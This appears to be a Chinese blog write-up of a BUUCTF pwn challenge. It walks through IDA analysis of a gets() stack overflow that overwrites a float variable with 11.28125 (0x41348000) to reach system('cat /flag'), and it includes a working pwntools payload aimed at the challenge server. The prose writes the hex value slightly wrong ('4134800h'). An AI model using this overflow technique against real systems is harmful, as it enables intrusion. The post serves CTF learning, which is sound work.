拿到题后我们先checksec 一下,发现有NX ,但是下面没有开启PIE ,但是我还是尝试了一下,万一可以直接连接呢
出现的结果如下,Its value should be 11.28125 这里我们应该备受关注一下,后面可能会遇到,紧接着我们就IDA一下吧
出现如下图片,我们shift+F12看一下,出现了cat / flag ,这个肯定是我们重点关注的,双击进去看看
出现了如下图片,这里黄色标记的意思是跳转,我们也双击一下。紧接着F5下一步
出现了 11.28125 看着是不是很熟悉,这不是我们进来nc的时候遇见到的数字吗,而且下面是可以掉用系统的函数return system("cat /flag");。这不是捡到宝了,再往上看gets函数,大量废话代码的地方看到这里paylaod 不久完成一大部分了。我们写一下
paylaod:gets明确指出了大量废话代码的长度为44个字节,这里不是这道题的主要考点,但是一个知识点,接下来我们再往下看。
from pwn import *
sh=remote('node5.buuoj.cn',29877)
buf_addr=
sh.sendline(b'A'*44+p64(buf_addr))
sh.interactive()
我们将光标放置下图的位置,我们接下来要明确我们的目标是小数,按tab和空格键。
接下来我们可以看到下面的现象ucomiss xmm0, cs:dword_4007F4 这句汇编语言的意思是比较两个浮点型数,那么大胆猜测一下后面应该就是小数的存储位置吧,双击一下
果然不负所望出现了 4134800h 这里他是16进制,拿着下我们的paylaod 不就出来了
paylaod ;
from pwn import *
sh=remote('node5.buuoj.cn',29877)
buf_addr=0x41348000
sh.sendline(b'A'*44+p64(buf_addr))
sh.interactive()
接下来就不做解释了吧,我们直接再kali里面上答案
标签:11,addr,一下,paylaod,sh,2019,pwn,buf,我们 From: https://blog.csdn.net/zhi741/article/details/142886371